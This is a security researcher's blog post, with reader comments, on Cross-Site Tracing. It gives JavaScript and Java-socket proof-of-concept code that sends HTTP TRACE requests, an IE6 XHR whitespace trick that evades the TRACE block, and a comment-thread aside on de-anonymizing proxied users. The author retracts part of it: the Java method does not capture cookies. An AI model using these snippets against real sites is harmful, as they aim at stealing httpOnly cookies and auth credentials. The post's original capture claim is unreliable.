Update 2: Amit Klein wrote in to remind me that you technically still can issue TRACE requests using XHR in IE6 SP2. By prepending some white space before the method it'll bypass the restriction (see below). I had forgotten about this little gem and would have thought MS would have fixed it long ago. Guess not or maybe they have. Either way I couldn't locate it. I also haven't done a lot of testing with IE7's XHR implementation (native right?), perhaps the same or other things can be found in there as well that could prove useful.
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.open("\r\nTRACE","/",false);
x.setRequestHeader("Max-Forwards","0");
x.send();
alert(x.responseText);
Update 1: Jordan and Wladimir Palant noticed it right away! (Wladimir) "Wait, last time I checked Java wasn’t making HTTP requests through the browser. That means that neither cookies nor HTTP basic authorization will be visible in the response - only what you put in there yourself. Did that change?"
Apparently I made a very large oversight in my research. Wladimir and Jordan are absolutely right! Java handles the entire HTTP connection outside of the browser and hence does not send the cookies, headers, or anything else. So that data doesn't come back to be captured. Big mistake on my part. Can't believe I missed that! Very sorry. But I have another thought that I have to double check on....
Back in late 2002 Microsoft implemented the httpOnly cookie flag in Internet Explorer as a way to prevent XSS cookie theft by denying JavaScript from reading document.cookie. A couple of months later I authored a paper describing an attack I called Cross-Site Tracing (XST), or XSS++ if you prefer, as a bypass httpOnly (plus added some other good stuff). XST works by taking control of a victims web browser and forcing it to send an HTTP TRACE (method) to the target web server, typically via XmlHTTPRequest (XHR). Web servers supporting TRACE respond by placing the all data received in the HTTP request (request line, headers, post data) into the response body. Here’s an example of a simple TRACE request exchange:
> telnet foo.com 80
Trying 127.0.0.1...
Connected to foo.bar.
Escape character is ‘^]’.
TRACE / HTTP/1.1
Host: foo.bar
X-Header: test
Cookie: param=1
HTTP/1.1 200 OK
Server: Apache
Content-Type: message/http
TRACE / HTTP/1.1
Host: foo.bar
X-Header: test
Cookie: param=1
Because the cookie becomes part of the response body, and not only found within document.cookie, JavaScript can access the data despite being tagged with httpOnly. As an additional benefit of XST, attackers can gain access to Basic, Digest, and NTLM Auth credentials located in HTTP request headers and typically out of reach of JavaScript. Simple. In response, all major web browser updated XHR to block the use of TRACE. Flash did the same. In years since I figured XST was dead on anything but an older browser, that is until late last week.
I was experimenting with some JavaScript calling Java APIs to perform Socket calls and then it hit me. If JavaScript and Flash can’t issue TRACE requests, maybe Java could. Turns out I was right, JavaScript can direct Java to issue TRACE requests out of the browser, but my PoC implementation was slow. With help from friendly neighborhood Java guru, Anurag Agarwal, we got some nice bookmarklet PoCs up and running. I’ll let Anurag take you through the code.
Please be mindful that the code is unstable and your results may vary due to browser support.
Approach 1 (Traditional Approach using earlier versions of jdk)
//Get the url on the browser’s address bar
var l = document.location;
//Get the host name.
var host =l.host.toString();
//Set the port to 80. We can also determine the port from the location bar
var port = 80;
//Get the domain name of the host…check again
var addr = new java.net.InetAddress.getByName(host);
//Create a client socket to the server on the specified hostname and port
var socket = new java.net.Socket(addr,port);
//Open an output stream to send the request data to the server.
var wr = new java.io.BufferedWriter(newjava.io.OutputStreamWriter(socket.getOutputStream(),"UTF8"));
//Open an input stream to read the response data from the server.
var rd = new java.io.BufferedReader(new java.io.InputStreamReader(socket.getInputStream()));
//Send a trace request to the server.
wr.write("TRACE / HTTP/1.1 \n");
wr.write("Host: " + host + "\n");
wr.write("\n\r");
//Flush the output stream so that there is no data left in the buffer.
wr.flush();
//Read the response from the server until the readLine returns null which means the response is completed.
var lines = "";
while ((str = rd.readLine()) != null)
{ lines += str + "\n"; }
alert(lines);
//Close the input and output stream
wr.close();
rd.close();
//Close the socket
Socket.close();
In the traditional way (like the approach mentioned above), you'd now ask for the socket's input and/or output streams. The newer approach is using Channels. This approach is available with jdk1.4 or newer. With a channel you write directly to the channel itself. Rather than writing byte arrays, you read and write ByteBuffer objects. By default, this will read at least one byte or return -1 to indicate the end of the data, exactly as an InputStream does. It will often read more bytes if more bytes are available to be read.
Approach 2
var l = document.location;
var host =l.host.toString();
var port = 80;
var addr = new java.net.InetAddress.getByName(host);
//Create a SocketChannel
var client = java.nio.channels.SocketChannel.open(new java.net.InetSocketAddress(host, port));
//Create a java string object so that it can be converted to byte array.
var line = "TRACE / HTTP/1.1 \nHost: " + host + "\n\r\n";
var s1 = new java.lang.String(line);
//Send the data to the server.
client.write(java.nio.ByteBuffer.wrap(s1.getBytes()));
//Allocate a buffer to read the data from the server.
var buffer = java.nio.ByteBuffer.allocate(8000);
//Read the data from the server. If the data is more then the allocated bytes then this probably is not the best way. Use a different approach
client.read(buffer);
alert(new java.lang.String(buffer.array()));
16 comments:
Nice!
I'm a bit confused though -- if Java is doing the entire connection itself, then you're not really going to be able to get the cookies or the digest credentials are you?
If the browser doesn't get into it the process of sending the data, it doesn't send along httpOnly cookies, or other juicy bits that you'd want to get access to, and thus you'd never see them in the trace response, right?
I'm sure I'm missing something, but I don't see what yet?
You didn't miss anything except the dolt who wrote the post. Argh!
Ok, so if this is the case, that Java handles the entire HTTP request outside the browser, does this mean we can potentially deanonymize browser proxies? I just proxied myself through Paros (HTTP Proxy 8080 preference), then used this method to send a request. Didn't touch the proxy.
If you want to use a proxy server, you can specify it by its address. For example, this code fragment uses the SOCKS proxy server at myproxy.example.com to connect to the host login.ibiblio.org:
SocetAddress proxyAddress = new InetSocketAddress("myproxy.example.com", 1080);
Proxy proxy = new Proxy(Proxy.Type.SOCKS, proxyAddress)
Socket s = new Socket(proxy);
SocketAddress remote = new InetSocketAddress("login.ibiblio.org", 25);
s.connect(remote);
Oh sure, you could use a proxy if you wanted to. What Im talking about here is trying to de-anonymize a user.
Yes, Java can be used as a de-anonymizer. Here is an example: http://algart.net/system/antianonymizetest.pl
More in-depth explanation is at http://webwarper.net/wwantianonymizerru.htm#wwaa (sorry, that's Russian but maybe the machine translation is readable). The whole concept was originally discussed here: http://xpoint.ru/forums/internet/theory/thread/33876.xhtml (yes, Russian again).
But Java has its own proxy settings (Control Panel / Java / Network Settings on Windows). The default is "use browser settings" - they probably read Internet Explorer settings for that.
I just realized that there is an English version of the same document as well: http://webwarper.net/wwantianonymizer.htm#wwaa
And there it is, in plain english as it were. Thank Wladimir, good stuff. Another one of those things I don't think many people knew about, including myself.
So what tricks could this still be used for? It seems like all the usual attacks against the browser won't work since it's not handling the response, but that it would still be perfectly functional for cache poisoning attacks. No need to even use the trace option. Still have to deal with same-origin though.
Maybe that's the other attack still up your sleeve. ;-)
Hey Jordan, the one attack that immediately came to mind, de-anonymizing, someone had already found that I didn't know about. What I have learned from the exchange though is that there is a lot I don't understand about Java's capabilities in the browser and how JS can interact with it. Along with you line of thinking, perhaps another way to launch a response splitting attack or something like that... I'll have to think a lot about this.
I think Microsoft has just abandoned IE 6 SP2, and just concentrated all their efforts on IE 7, because other than that bug there is also a bug which allows you to view the set-cookie headers as well. And neither of those bugs worked in IE 7 when I tested them.....
Last week i visited you blog and it liked me. I found this post about using XST and javascript to obtain Basic, Dibgest credentials and bypass httponly cookie flag very interesting. I decided to do a proof of concept of your scripts. I done it with some changes but now i have a problem.
The TRACE request that makes the script is:
wr.write("TRACE / HTTP/1.1 \n");
wr.write("Host: " + host + "\n");
wr.write("\n\r");
This request doesn´t includes Authorization parameters therefore neither the server response. I mean that if auth credentials headers is out of reach of javascript, we cannot include them in the TRACE request that we send to the server. In consecuence, the TRACE response from the server will not include these Auth parameters.
You say that "As an additional benefit of XST, attackers can gain access to Basic, Digest, and NTLM Auth credentials located in HTTP request headers and typically out of reach of JavaScript." ¿How can it be possible? Maybe i am wrong or i´m missing something.
Cheers
Hmm, its possible they changed how the browser behaves with this trick. What distribution/version are you using for testing?
Hi Jeremiah!
Thanks for the answer.
I obtain the TRACE server response including de "xst:test" parameter i use in the request but not the authenticaton parameters.
I proved (it´s a proof of concept) with Apache/2.2.3 and the client is Firefox 2.0.0.14.
This is the code with wich i achieved it (with workmate help out):
var l = document.location;var host =l.host.toString();
var port = 80;
var addr = new java.net.InetAddress.getByName(host);
var socket = new java.net.Socket(addr,port);
var wr = new java.io.PrintWriter(socket.getOutputStream(),true);
var rd = new java.io.BufferedReader(new java.io.InputStreamReader(socket.getInputStream()));
wr.println("TRACE / HTTP/1.1 \nHost: " + host + "\nxst:test\r\n");
wr.flush();
var lines = "";
while ((str = rd.readLine()) != null){ lines += str + "\n"; }
wr.close();
rd.close();
Socket.close();
I use basic authentication in the server to prove to obtain it in the TRACE reply.
I can see the server logs and the TRACE request is in there but nothing else. No authentication parameters anyway.
If i knew your mail i could send you more information about my proof of concept. My mail is rafa.sgomez@gmail.com.
Thanks very much.
sorry for the reply :(
Who knows where to download XRumer 5.0 Palladium?
Help, please. All recommend this program to effectively advertise on the Internet, this is the best program!
Post a Comment